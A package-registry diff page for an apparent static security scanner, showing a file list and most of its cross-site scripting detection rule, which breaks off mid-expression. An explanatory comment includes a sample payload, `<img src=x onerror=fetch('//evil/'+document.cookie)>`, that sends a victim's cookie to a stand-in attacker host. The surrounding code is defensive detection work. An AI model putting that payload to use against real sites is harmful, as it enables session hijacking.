@sikkuumiii/defuse 0.0.0-stage → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (236) hide show
  1. package/LICENSE +235 -0
  2. package/README.md +561 -2
  3. package/dist/src/cli.d.ts +20 -0
  4. package/dist/src/cli.js +619 -0
  5. package/dist/src/cli.js.map +1 -0
  6. package/dist/src/core/analyze.d.ts +178 -0
  7. package/dist/src/core/analyze.js +834 -0
  8. package/dist/src/core/analyze.js.map +1 -0
  9. package/dist/src/core/coverage.d.ts +87 -0
  10. package/dist/src/core/coverage.js +181 -0
  11. package/dist/src/core/coverage.js.map +1 -0
  12. package/dist/src/core/finding.d.ts +196 -0
  13. package/dist/src/core/finding.js +178 -0
  14. package/dist/src/core/finding.js.map +1 -0
  15. package/dist/src/core/licence.d.ts +50 -0
  16. package/dist/src/core/licence.js +56 -0
  17. package/dist/src/core/licence.js.map +1 -0
  18. package/dist/src/core/paths.d.ts +21 -0
  19. package/dist/src/core/paths.js +58 -0
  20. package/dist/src/core/paths.js.map +1 -0
  21. package/dist/src/core/score.d.ts +137 -0
  22. package/dist/src/core/score.js +232 -0
  23. package/dist/src/core/score.js.map +1 -0
  24. package/dist/src/dast/targets.d.ts +30 -0
  25. package/dist/src/dast/targets.js +79 -0
  26. package/dist/src/dast/targets.js.map +1 -0
  27. package/dist/src/dast/zap.d.ts +42 -0
  28. package/dist/src/dast/zap.js +184 -0
  29. package/dist/src/dast/zap.js.map +1 -0
  30. package/dist/src/engine/scan.d.ts +80 -0
  31. package/dist/src/engine/scan.js +129 -0
  32. package/dist/src/engine/scan.js.map +1 -0
  33. package/dist/src/engine/shapes.d.ts +47 -0
  34. package/dist/src/engine/shapes.js +328 -0
  35. package/dist/src/engine/shapes.js.map +1 -0
  36. package/dist/src/engine/walk.d.ts +60 -0
  37. package/dist/src/engine/walk.js +156 -0
  38. package/dist/src/engine/walk.js.map +1 -0
  39. package/dist/src/parse/astDump.d.ts +31 -0
  40. package/dist/src/parse/astDump.js +66 -0
  41. package/dist/src/parse/astDump.js.map +1 -0
  42. package/dist/src/parse/languages.d.ts +70 -0
  43. package/dist/src/parse/languages.js +174 -0
  44. package/dist/src/parse/languages.js.map +1 -0
  45. package/dist/src/parse/location.d.ts +17 -0
  46. package/dist/src/parse/location.js +38 -0
  47. package/dist/src/parse/location.js.map +1 -0
  48. package/dist/src/parse/node-grammars.d.ts +12 -0
  49. package/dist/src/parse/node-grammars.js +35 -0
  50. package/dist/src/parse/node-grammars.js.map +1 -0
  51. package/dist/src/parse/parser.d.ts +126 -0
  52. package/dist/src/parse/parser.js +202 -0
  53. package/dist/src/parse/parser.js.map +1 -0
  54. package/dist/src/parse/tree-store.d.ts +139 -0
  55. package/dist/src/parse/tree-store.js +236 -0
  56. package/dist/src/parse/tree-store.js.map +1 -0
  57. package/dist/src/platform/dependency-rule.d.ts +27 -0
  58. package/dist/src/platform/dependency-rule.js +21 -0
  59. package/dist/src/platform/dependency-rule.js.map +1 -0
  60. package/dist/src/platform/deps.d.ts +86 -0
  61. package/dist/src/platform/deps.js +304 -0
  62. package/dist/src/platform/deps.js.map +1 -0
  63. package/dist/src/platform/php-facts.d.ts +49 -0
  64. package/dist/src/platform/php-facts.js +67 -0
  65. package/dist/src/platform/php-facts.js.map +1 -0
  66. package/dist/src/platform/runtime-version.d.ts +78 -0
  67. package/dist/src/platform/runtime-version.js +573 -0
  68. package/dist/src/platform/runtime-version.js.map +1 -0
  69. package/dist/src/report/colors.d.ts +50 -0
  70. package/dist/src/report/colors.js +97 -0
  71. package/dist/src/report/colors.js.map +1 -0
  72. package/dist/src/report/coverage-table.d.ts +90 -0
  73. package/dist/src/report/coverage-table.js +291 -0
  74. package/dist/src/report/coverage-table.js.map +1 -0
  75. package/dist/src/report/html-report.d.ts +66 -0
  76. package/dist/src/report/html-report.js +489 -0
  77. package/dist/src/report/html-report.js.map +1 -0
  78. package/dist/src/report/human.d.ts +44 -0
  79. package/dist/src/report/human.js +575 -0
  80. package/dist/src/report/human.js.map +1 -0
  81. package/dist/src/report/json.d.ts +24 -0
  82. package/dist/src/report/json.js +178 -0
  83. package/dist/src/report/json.js.map +1 -0
  84. package/dist/src/report/mark.d.ts +17 -0
  85. package/dist/src/report/mark.js +39 -0
  86. package/dist/src/report/mark.js.map +1 -0
  87. package/dist/src/report/pricing.d.ts +33 -0
  88. package/dist/src/report/pricing.js +343 -0
  89. package/dist/src/report/pricing.js.map +1 -0
  90. package/dist/src/report/sarif.d.ts +39 -0
  91. package/dist/src/report/sarif.js +219 -0
  92. package/dist/src/report/sarif.js.map +1 -0
  93. package/dist/src/report/site.d.ts +87 -0
  94. package/dist/src/report/site.js +742 -0
  95. package/dist/src/report/site.js.map +1 -0
  96. package/dist/src/rules/code-injection.d.ts +47 -0
  97. package/dist/src/rules/code-injection.js +326 -0
  98. package/dist/src/rules/code-injection.js.map +1 -0
  99. package/dist/src/rules/command-injection.d.ts +30 -0
  100. package/dist/src/rules/command-injection.js +286 -0
  101. package/dist/src/rules/command-injection.js.map +1 -0
  102. package/dist/src/rules/contract.d.ts +198 -0
  103. package/dist/src/rules/contract.js +39 -0
  104. package/dist/src/rules/contract.js.map +1 -0
  105. package/dist/src/rules/format-string.d.ts +46 -0
  106. package/dist/src/rules/format-string.js +146 -0
  107. package/dist/src/rules/format-string.js.map +1 -0
  108. package/dist/src/rules/hardcoded-secret.d.ts +38 -0
  109. package/dist/src/rules/hardcoded-secret.js +440 -0
  110. package/dist/src/rules/hardcoded-secret.js.map +1 -0
  111. package/dist/src/rules/lib/guards.d.ts +168 -0
  112. package/dist/src/rules/lib/guards.js +1179 -0
  113. package/dist/src/rules/lib/guards.js.map +1 -0
  114. package/dist/src/rules/lib/html-safety.d.ts +75 -0
  115. package/dist/src/rules/lib/html-safety.js +755 -0
  116. package/dist/src/rules/lib/html-safety.js.map +1 -0
  117. package/dist/src/rules/lib/local-build.d.ts +59 -0
  118. package/dist/src/rules/lib/local-build.js +320 -0
  119. package/dist/src/rules/lib/local-build.js.map +1 -0
  120. package/dist/src/rules/lib/strings.d.ts +208 -0
  121. package/dist/src/rules/lib/strings.js +1970 -0
  122. package/dist/src/rules/lib/strings.js.map +1 -0
  123. package/dist/src/rules/path-traversal.d.ts +33 -0
  124. package/dist/src/rules/path-traversal.js +96 -0
  125. package/dist/src/rules/path-traversal.js.map +1 -0
  126. package/dist/src/rules/registry.d.ts +19 -0
  127. package/dist/src/rules/registry.js +77 -0
  128. package/dist/src/rules/registry.js.map +1 -0
  129. package/dist/src/rules/sql-injection.d.ts +36 -0
  130. package/dist/src/rules/sql-injection.js +299 -0
  131. package/dist/src/rules/sql-injection.js.map +1 -0
  132. package/dist/src/rules/ssrf.d.ts +39 -0
  133. package/dist/src/rules/ssrf.js +111 -0
  134. package/dist/src/rules/ssrf.js.map +1 -0
  135. package/dist/src/rules/unbounded-copy.d.ts +37 -0
  136. package/dist/src/rules/unbounded-copy.js +147 -0
  137. package/dist/src/rules/unbounded-copy.js.map +1 -0
  138. package/dist/src/rules/unsafe-deserialization.d.ts +43 -0
  139. package/dist/src/rules/unsafe-deserialization.js +276 -0
  140. package/dist/src/rules/unsafe-deserialization.js.map +1 -0
  141. package/dist/src/rules/weak-hash.d.ts +37 -0
  142. package/dist/src/rules/weak-hash.js +197 -0
  143. package/dist/src/rules/weak-hash.js.map +1 -0
  144. package/dist/src/rules/xss.d.ts +38 -0
  145. package/dist/src/rules/xss.js +527 -0
  146. package/dist/src/rules/xss.js.map +1 -0
  147. package/dist/src/taint/content-type.d.ts +19 -0
  148. package/dist/src/taint/content-type.js +20 -0
  149. package/dist/src/taint/content-type.js.map +1 -0
  150. package/dist/src/taint/dictionaries.d.ts +23 -0
  151. package/dist/src/taint/dictionaries.js +1778 -0
  152. package/dist/src/taint/dictionaries.js.map +1 -0
  153. package/dist/src/taint/fold.d.ts +59 -0
  154. package/dist/src/taint/fold.js +1177 -0
  155. package/dist/src/taint/fold.js.map +1 -0
  156. package/dist/src/taint/java-scope.d.ts +61 -0
  157. package/dist/src/taint/java-scope.js +212 -0
  158. package/dist/src/taint/java-scope.js.map +1 -0
  159. package/dist/src/taint/local-map.d.ts +79 -0
  160. package/dist/src/taint/local-map.js +603 -0
  161. package/dist/src/taint/local-map.js.map +1 -0
  162. package/dist/src/taint/project.d.ts +172 -0
  163. package/dist/src/taint/project.js +617 -0
  164. package/dist/src/taint/project.js.map +1 -0
  165. package/dist/src/taint/tracer.d.ts +265 -0
  166. package/dist/src/taint/tracer.js +3817 -0
  167. package/dist/src/taint/tracer.js.map +1 -0
  168. package/dist/src/taint/types.d.ts +484 -0
  169. package/dist/src/taint/types.js +47 -0
  170. package/dist/src/taint/types.js.map +1 -0
  171. package/dist/src/taint/visibility.d.ts +25 -0
  172. package/dist/src/taint/visibility.js +96 -0
  173. package/dist/src/taint/visibility.js.map +1 -0
  174. package/docs/examples/defuse.json +20 -0
  175. package/docs/examples/dvwa-urls.json +14 -0
  176. package/docs/examples/github-code-scanning.yml +54 -0
  177. package/docs/examples/tiny.js +4 -0
  178. package/package.json +73 -4
  179. package/src/cli.ts +747 -0
  180. package/src/core/analyze.ts +1072 -0
  181. package/src/core/coverage.ts +269 -0
  182. package/src/core/finding.ts +311 -0
  183. package/src/core/licence.ts +61 -0
  184. package/src/core/paths.ts +59 -0
  185. package/src/core/score.ts +353 -0
  186. package/src/dast/targets.ts +121 -0
  187. package/src/dast/zap.ts +246 -0
  188. package/src/engine/scan.ts +200 -0
  189. package/src/engine/shapes.ts +348 -0
  190. package/src/engine/walk.ts +196 -0
  191. package/src/parse/astDump.ts +85 -0
  192. package/src/parse/languages.ts +232 -0
  193. package/src/parse/location.ts +44 -0
  194. package/src/parse/node-grammars.ts +41 -0
  195. package/src/parse/parser.ts +262 -0
  196. package/src/parse/tree-store.ts +301 -0
  197. package/src/platform/dependency-rule.ts +33 -0
  198. package/src/platform/deps.ts +374 -0
  199. package/src/platform/php-facts.ts +85 -0
  200. package/src/platform/runtime-version.ts +710 -0
  201. package/src/report/colors.ts +107 -0
  202. package/src/report/coverage-table.ts +359 -0
  203. package/src/report/html-report.ts +601 -0
  204. package/src/report/human.ts +811 -0
  205. package/src/report/json.ts +189 -0
  206. package/src/report/mark.ts +47 -0
  207. package/src/report/pricing.ts +374 -0
  208. package/src/report/sarif.ts +235 -0
  209. package/src/report/site.ts +760 -0
  210. package/src/rules/code-injection.ts +346 -0
  211. package/src/rules/command-injection.ts +296 -0
  212. package/src/rules/contract.ts +220 -0
  213. package/src/rules/format-string.ts +158 -0
  214. package/src/rules/hardcoded-secret.ts +485 -0
  215. package/src/rules/lib/guards.ts +1235 -0
  216. package/src/rules/lib/html-safety.ts +793 -0
  217. package/src/rules/lib/local-build.ts +329 -0
  218. package/src/rules/lib/strings.ts +2034 -0
  219. package/src/rules/path-traversal.ts +101 -0
  220. package/src/rules/registry.ts +90 -0
  221. package/src/rules/sql-injection.ts +311 -0
  222. package/src/rules/ssrf.ts +118 -0
  223. package/src/rules/unbounded-copy.ts +162 -0
  224. package/src/rules/unsafe-deserialization.ts +291 -0
  225. package/src/rules/weak-hash.ts +226 -0
  226. package/src/rules/xss.ts +572 -0
  227. package/src/taint/content-type.ts +20 -0
  228. package/src/taint/dictionaries.ts +1855 -0
  229. package/src/taint/fold.ts +1206 -0
  230. package/src/taint/java-scope.ts +200 -0
  231. package/src/taint/local-map.ts +594 -0
  232. package/src/taint/project.ts +774 -0
  233. package/src/taint/tracer.ts +4298 -0
  234. package/src/taint/types.ts +511 -0
  235. package/src/taint/visibility.ts +100 -0
  236. package/tsconfig.json +61 -0
@@ -0,0 +1,527 @@
1
+ /**
2
+ * CROSS-SITE SCRIPTING - XSS (CWE-79, OWASP A05:2025 - Injection)
3
+ *
4
+ * WHAT THE BUG IS, in plain language:
5
+ * A browser reads HTML as instructions. `<script>` doesn't display the word
6
+ * "script" - it runs code. So if your page inserts user-supplied text into HTML
7
+ * without escaping it, the user can supply `<script>...</script>` and their code
8
+ * runs inside YOUR page, with your user's session, cookies and permissions.
9
+ *
10
+ * element.innerHTML = "Welcome " + userName;
11
+ *
12
+ * If `userName` is `<img src=x onerror=fetch('//evil/'+document.cookie)>`, the
13
+ * browser dutifully loads a broken image, fires the error handler, and posts
14
+ * the victim's session cookie to the attacker. The user never clicked anything.
15
+ *
16
+ * WHY IT'S CALLED "CROSS-SITE": the attacker's code runs on your site's origin,
17
+ * so the browser trusts it exactly as much as it trusts you. Same-origin policy
18
+ * - the rule that stops evil.com reading your bank tab - is on the attacker's
19
+ * side now.
20
+ *
21
+ * THE FIX:
22
+ * - Use the text API, not the HTML API: `textContent` instead of `innerHTML`.
23
+ * `textContent` never parses tags; `<script>` becomes visible characters.
24
+ * - When you genuinely need HTML, escape it (< becomes &lt;) or run it through
25
+ * a sanitiser like DOMPurify that removes scripts and event handlers.
26
+ * - Template engines that auto-escape (React JSX, Jinja2, Go html/template)
27
+ * do this for you - which is exactly why the "escape hatches" in those
28
+ * libraries (dangerouslySetInnerHTML, |safe, template.HTML) are the places
29
+ * this rule watches.
30
+ *
31
+ * ESCAPING vs SANITISING (they are different, and people mix them up):
32
+ * ESCAPING turns markup into visible text - safest, use it by default.
33
+ * SANITISING keeps the markup but strips the dangerous parts - only when the
34
+ * user is genuinely allowed to send HTML, and only with a real library.
35
+ */
36
+ import { asAssignment, asCall } from './contract.js';
37
+ import { analyzeStringExpression, looksLikeHtml } from './lib/strings.js';
38
+ import { partsAreGuarded } from './lib/guards.js';
39
+ import { analyzeHtmlSafety, supportsHtmlSafety } from './lib/html-safety.js';
40
+ import { DECLARED_NOT_HTML } from '../taint/content-type.js';
41
+ /** Assigning to these properties parses the value as HTML. */
42
+ const HTML_SINK_PROPERTIES = {
43
+ // `__html` is the inner key of React's dangerouslySetInnerHTML={{ __html: x }},
44
+ // which is where the actual value lands.
45
+ javascript: ['innerHTML', 'outerHTML', 'dangerouslySetInnerHTML', '__html', 'srcdoc'],
46
+ typescript: ['innerHTML', 'outerHTML', 'dangerouslySetInnerHTML', '__html', 'srcdoc'],
47
+ python: [],
48
+ java: [],
49
+ go: [],
50
+ // No DOM, so no properties that parse an assignment as HTML.
51
+ c: [],
52
+ cpp: [],
53
+ // `echo` is not a property assignment - it is a PHP statement. The shape
54
+ // layer captures `echo $x;` as an assignment whose TARGET is the `echo`
55
+ // keyword itself, which lets the same rule cover it without inventing a
56
+ // third shape kind. See ASSIGNMENT_QUERIES.php in engine/shapes.ts.
57
+ php: ['echo', 'print'],
58
+ };
59
+ /**
60
+ * Angular's DomSanitizer bypass calls. Angular escapes everything it renders
61
+ * unless told not to, and these are how code tells it not to. Juice Shop's two
62
+ * marked XSS lines are this call; neither was found before it was listed.
63
+ */
64
+ const ANGULAR_BYPASS = [
65
+ 'bypassSecurityTrustHtml', 'bypassSecurityTrustScript', 'bypassSecurityTrustUrl', 'bypassSecurityTrustResourceUrl', 'bypassSecurityTrustStyle',
66
+ ];
67
+ /** Calls that write raw HTML, or that switch a template engine's escaping OFF. */
68
+ const HTML_SINK_CALLS = {
69
+ javascript: ['write', 'writeln', 'insertAdjacentHTML', 'html', 'append', 'prepend', 'after', 'before', ...ANGULAR_BYPASS],
70
+ typescript: ['write', 'writeln', 'insertAdjacentHTML', 'html', 'append', 'prepend', 'after', 'before', ...ANGULAR_BYPASS],
71
+ python: ['mark_safe', 'Markup', 'HttpResponse', 'render_template_string', 'format_html'],
72
+ java: ['print', 'println', 'write', 'printf', 'format', 'append'],
73
+ go: ['HTML', 'HTMLAttr', 'JS', 'Write', 'Fprintf', 'Fprint', 'Fprintln'],
74
+ php: ['printf', 'vprintf', 'print_r', 'var_dump'],
75
+ /*
76
+ * Deliberately EMPTY, and this is the interesting empty list in the table.
77
+ *
78
+ * C absolutely can serve HTML - that is what CGI was - and `printf` writing
79
+ * to stdout in a CGI binary is a genuine XSS sink. But nothing in the source
80
+ * distinguishes a CGI program from any other C program: printf to stdout is
81
+ * what every command-line tool on earth does. Listing printf here would
82
+ * report a "cross-site scripting" finding on `printf("done\n")` in a build
83
+ * script, which is the VS Code RegExp.exec mistake in a new costume.
84
+ *
85
+ * So C gets no XSS coverage, the matrix says "not implemented" rather than
86
+ * showing a rule that never fires, and the reason is recorded here. Note
87
+ * that a tainted printf format IS still reported - by the format-string
88
+ * rule, for the bug it actually is.
89
+ */
90
+ c: [],
91
+ cpp: [],
92
+ };
93
+ /**
94
+ * Calls whose danger is unconditional because their whole purpose is to bypass
95
+ * escaping. These are reported even when the argument is a plain variable,
96
+ * because "trust me, this HTML is fine" is itself the risky decision.
97
+ */
98
+ /**
99
+ * Argument types that cannot possibly carry markup, whatever they are handed to.
100
+ *
101
+ * Found by auditing this tool's own findings across five real libraries: five
102
+ * of the six XSS findings in Flask were escape-hatch calls whose arguments were
103
+ * entirely constant - `render_template_string("{{ config }}", config=42)`.
104
+ * Saying "do not escape this" about the number 42 is not a risky promise, it is
105
+ * not a promise at all.
106
+ */
107
+ const CONSTANT_NODES = new Set([
108
+ 'integer',
109
+ 'float',
110
+ 'number',
111
+ 'true',
112
+ 'false',
113
+ 'none',
114
+ 'null',
115
+ 'undefined',
116
+ 'boolean',
117
+ 'decimal_integer_literal',
118
+ 'decimal_floating_point_literal',
119
+ ]);
120
+ const ESCAPE_HATCHES = new Set([
121
+ 'mark_safe',
122
+ 'Markup',
123
+ 'render_template_string',
124
+ 'insertAdjacentHTML',
125
+ ...ANGULAR_BYPASS,
126
+ ]);
127
+ /**
128
+ * Run the safety proof where we have one, and return null where we do not.
129
+ * A null means "this language is not covered by the proof", which the callers
130
+ * must treat as "report", never as "safe".
131
+ */
132
+ function judgeSafety(value, ctx, language) {
133
+ if (!supportsHtmlSafety(language))
134
+ return null;
135
+ return analyzeHtmlSafety(value, ctx.file.root, language);
136
+ }
137
+ /**
138
+ * Turn the proof's result into a sentence a beginner can act on.
139
+ *
140
+ * The point is to name the SPECIFIC sub-expression that is still unescaped,
141
+ * rather than gesturing at the whole statement. On a 40-line template literal
142
+ * that is the difference between a usable finding and a shrug.
143
+ */
144
+ function describeSafety(safety, dynamicParts, language) {
145
+ if (!safety) {
146
+ /*
147
+ * No proof available for this language - fall back to naming what was
148
+ * spliced in. Only the parts that are NOT escaped are called unescaped: this
149
+ * used to list every part and say "no escaping is visible", which was false
150
+ * whenever one of them was the escaper.
151
+ */
152
+ const quote = (parts) => parts.slice(0, 3).map((p) => `\`${p}\``).join(', ');
153
+ const bare = dynamicParts.filter((p) => !readsAsEscaperCall(p, language));
154
+ const escaped = dynamicParts.filter((p) => readsAsEscaperCall(p, language));
155
+ if (bare.length === 0)
156
+ return 'No escaping or sanitiser call is visible at this line. ';
157
+ return (
158
+ // "HTML escaping", not "escaping": URLEncoder.encode and escapeSql are
159
+ // escapers too, for another language, and wrong-domain-escape.java is why.
160
+ `It splices in ${quote(bare)}, and no HTML escaping is visible for ` +
161
+ `${bare.length === 1 ? 'it' : 'them'} at this line. ` +
162
+ (escaped.length ? `(${quote(escaped)} ${escaped.length === 1 ? 'does' : 'do'} go through an escaper.) ` : ''));
163
+ }
164
+ const named = safety.unproven.slice(0, 3).map((p) => `\`${p}\``).join(', ');
165
+ const escaped = safety.escapers.length
166
+ ? `We did confirm ${safety.escapers.map((e) => `\`${e}\``).join(', ')} runs on the other ` +
167
+ `spliced-in values, so this is not a blanket complaint about the line. `
168
+ : '';
169
+ if (safety.unproven.length === 0) {
170
+ return `${escaped}No escaping is visible for the value that is spliced in. `;
171
+ }
172
+ return (`${escaped}What we could NOT prove safe: ${named}` +
173
+ `${safety.unproven.length > 3 ? ` (and ${safety.unproven.length - 3} more)` : ''}. ` +
174
+ `Each of those reaches the HTML parser exactly as written. `);
175
+ }
176
+ /**
177
+ * Calls that PRODUCE escaped text, per language. Used only to let an escape
178
+ * hatch off when every value inside it went through one.
179
+ *
180
+ * Go's list is the `html` and `html/template` package functions; the taint
181
+ * dictionary already knew these names as sanitisers, but the signature path
182
+ * had no way to ask.
183
+ */
184
+ /**
185
+ * A SHAPE RULE FOR ESCAPERS WE HAVE NEVER MET.
186
+ *
187
+ * Scanning Jenkins - 2,064 Java files - produced two flow-verified XSS findings
188
+ * on lines that read
189
+ *
190
+ * Functions.htmlAttributeEscape(redirectUrl)
191
+ *
192
+ * Jenkins escapes with its own helper, and the named list above knows
193
+ * `escapeHtml` and `htmlEscape` but not `htmlAttributeEscape`. Punishing the
194
+ * fix, in Java, on the sixth occasion this project has done it.
195
+ *
196
+ * The lesson is the one already learned about SOURCES and never applied to
197
+ * their mirror image: escapers are PER-FRAMEWORK. WordPress spells them
198
+ * `esc_html`, Jenkins spells them `htmlAttributeEscape`, and the next codebase
199
+ * will spell them a third way. Enumerating names loses that race forever.
200
+ *
201
+ * So names are matched by SHAPE as well: a call whose name says it escapes or
202
+ * encodes AND names a markup context. Both halves are required, which is what
203
+ * keeps `escapeShellArg` and `escapeSql` out - those escape for a different
204
+ * grammar, and treating them as HTML-safe is exactly the kind-confusion this
205
+ * engine exists to avoid.
206
+ *
207
+ * The explicit lists stay. They are precise, they carry intent, and this is a
208
+ * fallback for the framework nobody has scanned yet.
209
+ */
210
+ const ESCAPER_SHAPE = /^\s*(?:[\w.\\$]*\b)?(\w*(?:escape|encode|sanitiz|sanitis)\w*)\s*\(/i;
211
+ const MARKUP_CONTEXT = /html|xml|markup|attribute|\battr\b|ecma|javascript|\bjs\b|entities|tag/i;
212
+ export function looksLikeAnEscaperCall(text) {
213
+ const match = ESCAPER_SHAPE.exec(flattenCallChain(text));
214
+ if (!match?.[1])
215
+ return false;
216
+ return MARKUP_CONTEXT.test(match[1]);
217
+ }
218
+ /*
219
+ * THE ESCAPER WAS RIGHT THERE, AND THE REPORT SAID NONE WAS VISIBLE.
220
+ *
221
+ * BenchmarkJava escapes with OWASP's ESAPI, and writes it the way Java style
222
+ * guides lay out a long chain:
223
+ *
224
+ * org.owasp
225
+ * .esapi
226
+ * .ESAPI
227
+ * .encoder()
228
+ * .encodeForHTML(value)
229
+ *
230
+ * The name lists above allow a dotted prefix, `[\w.]*`, and nothing else - so
231
+ * neither the line breaks nor the `()` of `encoder()` could be crossed, even
232
+ * on one line. The escaper went unread, and the finding printed "no escaping is
233
+ * visible at this line" underneath a call to encodeForHTML. 158 BenchmarkJava
234
+ * findings said that, and decided no scored case, so the benchmark never
235
+ * noticed. Deciding switches made it visible: 26 of those guesses had been
236
+ * withdrawn only because the tracer carried a value through a case that cannot
237
+ * run and saw the escaper on the way, and they came back.
238
+ *
239
+ * A chain is flattened before it is read - spaces around dots dropped, and an
240
+ * EMPTY call in the receiver, `encoder().`, read as a step along the path. A
241
+ * call with arguments is left alone: `wrap(x).escapeHtml(y)` is not a chain
242
+ * this should look through. The escaper is still trusted by name, exactly as
243
+ * before - see the DELIBERATE GAP note on this rule.
244
+ */
245
+ function flattenCallChain(part) {
246
+ return part.replace(/\s*\.\s*/g, '.').replace(/\(\s*\)\./g, '.');
247
+ }
248
+ /** Does this spliced-in part read as a call to an escaper for HTML? */
249
+ function readsAsEscaperCall(part, language) {
250
+ const known = ESCAPER_CALLS[language];
251
+ return (!!known && known.test(flattenCallChain(part))) || looksLikeAnEscaperCall(part);
252
+ }
253
+ const ESCAPER_CALLS = {
254
+ go: /^\s*(?:[\w.]*\b(?:EscapeString|HTMLEscapeString|HTMLEscaper|HTMLEscape|JSEscapeString|JSEscaper|URLQueryEscaper|QueryEscape|PathEscape)\s*\()/,
255
+ python: /^\s*(?:[\w.]*\b(?:escape|quote|quote_plus|escape_silent)\s*\()/,
256
+ java: /^\s*(?:[\w.]*\b(?:escapeHtml|escapeHtml4|escapeXml|htmlEscape|encodeForHTML)\s*\()/,
257
+ // PHP's native escapers plus WordPress's, which is what almost all PHP on the
258
+ // internet actually calls. See the long note in taint/dictionaries.ts.
259
+ php: /^\s*(?:@?\\?[\w\\]*\b(?:htmlspecialchars|htmlentities|strip_tags|urlencode|rawurlencode|json_encode|wp_json_encode|intval|floatval|absint|number_format|esc_html|esc_attr|esc_url|esc_url_raw|esc_js|esc_textarea|esc_xml|esc_html__|esc_html_e|esc_html_x|esc_attr__|esc_attr_e|esc_attr_x|wp_kses|wp_kses_post|wp_kses_data|tag_escape|sanitize_html_class|sanitize_text_field|sanitize_textarea_field|sanitize_title|sanitize_email|sanitize_key|sanitize_user|e)\s*\()/,
260
+ };
261
+ /** Go writer names, and what a destination has to look like to be a page. */
262
+ const GO_WRITER_NAMES = new Set([
263
+ 'Write', 'WriteString', 'Fprintf', 'Fprint', 'Fprintln',
264
+ ]);
265
+ const GO_PAGE_WRITER = /^w$|writer|\brw\b|resp|response|ResponseWriter/i;
266
+ export const xssRule = {
267
+ id: 'xss',
268
+ name: 'Unescaped value written into HTML',
269
+ cwe: 'CWE-79',
270
+ owasp: 'A05:2025 Injection',
271
+ severity: 'high',
272
+ summary: 'A value is written into a web page as HTML; if it comes from outside, it can add its own script and run as your site.',
273
+ fix: 'Insert it as text (textContent, or the template\'s auto-escaping) or escape/sanitise it before it becomes HTML.',
274
+ explanation: 'A browser reads HTML as instructions, so text inserted into a page without ' +
275
+ 'escaping can bring its own <script> tag or event handler and run as your site. ' +
276
+ 'It then has your user\'s session and cookies. The fix is to use a text API ' +
277
+ '(textContent) instead of an HTML API (innerHTML), or to escape/sanitise the ' +
278
+ 'value before it becomes markup.',
279
+ limitations: 'UNVERIFIED (signature-based): we confirmed a value reaches an HTML-writing sink ' +
280
+ 'and that at least one part of it could not be proven safe. We did NOT confirm ' +
281
+ 'that part is attacker-controlled. In JavaScript and TypeScript we resolve local ' +
282
+ 'variables and local render helpers and drop the finding when EVERY spliced-in ' +
283
+ 'value is a literal, a number, or the result of a known escaper - so a finding ' +
284
+ 'here names the parts that survived that check. Values escaped in another file, ' +
285
+ 'by an imported helper, or by a framework we do not model still read as unproven. ' +
286
+ 'DELIBERATE GAP: an escaper is trusted BY NAME (escapeHtml, DOMPurify.sanitize ' +
287
+ 'and similar). We do not verify that such a function actually escapes anything, ' +
288
+ 'with one exception - a local definition that returns its argument unchanged is ' +
289
+ 'rejected. A local `escapeHtml` that escapes only some characters would be ' +
290
+ 'believed. Python, Java and Go are not covered by that check at all and report ' +
291
+ 'on shape alone.',
292
+ shapes: ['call', 'assignment'],
293
+ support: {
294
+ javascript: {
295
+ status: 'implemented',
296
+ note: "Covers innerHTML/outerHTML/srcdoc assignment, document.write, insertAdjacentHTML, jQuery .html/.append, React dangerouslySetInnerHTML, and Angular's bypassSecurityTrust* calls.",
297
+ },
298
+ typescript: {
299
+ status: 'implemented',
300
+ note: 'Identical to JavaScript, including .tsx files via the tsx grammar.',
301
+ },
302
+ python: {
303
+ status: 'partial',
304
+ note: 'PARTIAL: Django/Flask escape hatches (mark_safe, Markup, render_template_string, HttpResponse with built HTML) are detected, and so is a str returned from a Flask `@...route` view (sent as text/html) when the value is a str by construction - a returned name that might hold a dict is not. An HttpResponse whose call declares content_type="text/plain", "text/csv" or "application/json" is not a page and is not reported; a content type passed positionally or through a variable is not read, so that response still reports. Template files themselves (.html, .jinja) are NOT parsed at all, so `{{ x|safe }}` inside a template is invisible.',
305
+ },
306
+ java: {
307
+ status: 'partial',
308
+ note: 'PARTIAL: only servlet-style out.print/response.getWriter().write with built HTML. JSP files and Thymeleaf/Freemarker templates are not parsed.',
309
+ },
310
+ go: {
311
+ status: 'partial',
312
+ note: 'PARTIAL: template.HTML/template.JS conversions and w.Write/fmt.Fprintf with built HTML. Note that Go\'s html/template escapes automatically, so the template.HTML() conversion is the main real risk - which is exactly what we check.',
313
+ },
314
+ php: {
315
+ status: 'partial',
316
+ note: 'PARTIAL: `echo`/`print` of a built string, and printf/vprintf/print_r/var_dump. The escaper proof that covers JavaScript does NOT run here, so a value passed through htmlspecialchars in the same expression still reports on shape alone - the data-flow pass is what clears those. Blade and Twig templates are not parsed at all, so `{!! $x !!}` inside one is invisible.',
317
+ },
318
+ c: {
319
+ status: 'not-implemented',
320
+ note: "C can serve HTML - that is what CGI was - but nothing in the source distinguishes a CGI binary from any other program, and printf to stdout is what every command-line tool does. Listing it would report cross-site scripting on a build script's progress message. A tainted printf FORMAT is still reported, by the format-string rule, for the bug it actually is.",
321
+ },
322
+ cpp: {
323
+ status: 'not-implemented',
324
+ note: 'Not implemented for the same reason as C: nothing in the source separates a web-serving binary from an ordinary program, so listing the output calls would report cross-site scripting on every console message. A tainted printf format is still reported by the format-string rule.',
325
+ },
326
+ },
327
+ check(shape, ctx) {
328
+ const language = ctx.language;
329
+ /* ---- Assignment into an HTML-parsing property ---- */
330
+ const assignment = asAssignment(shape);
331
+ if (assignment) {
332
+ if (!HTML_SINK_PROPERTIES[language].includes(assignment.targetName))
333
+ return null;
334
+ const built = analyzeStringExpression(assignment.value, language);
335
+ // A hard-coded HTML string is fine - nobody can inject into a constant.
336
+ if (!built.isDynamic)
337
+ return null;
338
+ /* Before shouting, do the work: can every spliced-in value be proven
339
+ * incapable of carrying markup? See lib/html-safety.ts for why this
340
+ * exists - the short version is that the old text claimed no escaper was
341
+ * visible on lines where the escaper was four characters away. */
342
+ const safety = judgeSafety(assignment.value, ctx, language);
343
+ if (safety?.proven)
344
+ return null;
345
+ /*
346
+ * The same escaper proof the CALL branch does. It has to be here as well
347
+ * because PHP's `echo` is modelled as an assignment target, and `echo
348
+ * esc_html( $x )` is 2,547 of WordPress's 2,971 XSS findings - i.e. the
349
+ * single biggest false-positive cluster this project has ever produced
350
+ * sat on the one branch that had no proof step at all.
351
+ */
352
+ if (built.dynamicParts.length > 0 &&
353
